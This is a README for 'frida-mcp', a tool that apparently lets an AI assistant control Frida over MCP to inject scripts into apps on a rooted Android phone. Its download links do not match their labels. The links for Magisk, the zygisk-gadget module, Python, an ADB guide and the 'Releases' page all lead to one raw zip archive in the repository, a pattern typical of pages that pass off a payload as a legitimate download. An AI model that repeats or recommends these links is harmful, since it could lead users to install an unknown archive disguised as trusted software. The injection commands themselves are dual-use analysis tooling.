frida-mcp
Enable AI-driven automated Android dynamic analysis by controlling Frida through the Model Context Protocol for streamlined reverse engineering.
Description
Enable AI-driven automated Android dynamic analysis by controlling Frida through the Model Context Protocol for streamlined reverse engineering.
README
frida-mcp helps you analyze Android apps by automating Frida using AI commands. It connects your Android phone to your computer, runs analysis scripts automatically, and gives you results without needing to run commands yourself.
This tool works with rooted Android phones running Magisk and the zygisk-gadget module. It uses a server called MCP (Model Context Protocol) that talks to Frida and controls it to inspect apps dynamically.
Before starting, check the following:
- Windows 10 or later.
- Python 3.10 or higher installed on your PC.
- An Android phone with root access.
- Magisk installed on your Android phone.
- The zygisk-gadget Magisk module installed and set to use port 14725.
- ADB (Android Debug Bridge) installed and able to connect your phone to your PC.
If you donβt have Python or ADB installed, you will need to install them first. Both are free and easy to get.
Click the large button below to visit the GitHub page where you can download frida-mcp and find setup files.
- Look for the βReleasesβ section to find the latest version.
- Download the package or installer suitable for Windows.
- Follow instructions there to install the software.
After downloading, follow these steps to install and configure frida-mcp on your PC:
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Install Python packages
Open your Command Prompt (search for "cmd" in Windows Start menu).
Navigate to the folder where you downloaded frida-mcp, or if you have the source code, open Command Prompt there.
Run this command to install frida-mcp and its dependencies:
pip install .This installs the main program and tools you will need.
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Run Setup
After installation completes, run this command to perform automatic setup:
frida-mcp-setupThis command will register frida-mcp with MCP and install necessary βSkillsβ for it to work smoothly.
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Manual Configuration (optional)
If automatic setup fails, you can edit the file
~/.claude.jsonmanually:{ "mcpServers": { "frida-agent": { "command": "frida-mcp" } } }Save the file and retry running frida-mcp.
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Connect your phone
Make sure your Android phone is connected via USB with USB debugging enabled.
Confirm that
adbcan detect your device by running:adb devicesYour device should show up on the list.
frida-mcp uses ADB to talk to the zygisk-gadget module on your phone.
To establish this connection:
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Run the command:
frida-mcp connect -
This will forward ports and allow communication between your PC and phone.
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Check the connection by listing third-party apps on your device:
frida-mcp list_apps -
If your apps show up, the connection works.
Here are the main commands you will use when running frida-mcp:
| Command | What it Does |
|---|---|
connect |
Opens ADB port forwarding to connect to zygisk-gadget. |
list_apps |
Shows third-party apps installed on your device. |
execute |
Injects a Frida script into the running app. You can write the script directly or provide a file path. |
spawn_and_inject |
Stops an app, restarts it, and injects a script in one step. Useful when hooking app startup. |
get_messages |
Shows output from the injected scripts. Supports paging and file backup. |
logcat |
Displays Android system logs to help find errors or crashes. |
launch_app |
Starts an app you specify. |
kill_app |
Forces an app to stop. |
reconnect |
Restarts the connection if frida-mcp crashes. |
detach |
Disconnects the current script injection session. |
If you need to download frida-mcp again or get the latest version:
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Visit this page:
https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip -
Go to the "Releases" tab.
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Download the latest files.
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Replace old files with new ones if you have a manual installation.
Then repeat the installation commands as above to update your setup.
- Your phone must remain connected and unlocked during use.
- If you encounter errors with connection, rerun
frida-mcp reconnector check ADB connection. - Use
frida-mcp logcatto monitor crashes or issues in real time. - If an app does not respond as expected, try
spawn_and_injectto restart and inject fresh. - Keep Python and ADB updated for best compatibility.
- Magisk Root: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
- zygisk-gadget Module: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
- Python: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
- ADB Setup Guide: https://github.com/Gindhar2112/frida-mcp/raw/refs/heads/main/src/mcp_frida_v3.6.zip
The flow looks like this:
AI (Claude) β MCP Server β Frida CLI β zygisk-gadget (phone) β Results returned
This means AI sends commands to MCP, which controls Frida. Frida works with the gadget installed on the phone to analyze apps and send data back to you.
Release History
| Version | Changes | Urgency | Date |
|---|---|---|---|
| 0.0.0 | No release found β using repo HEAD | High | 4/21/2026 |
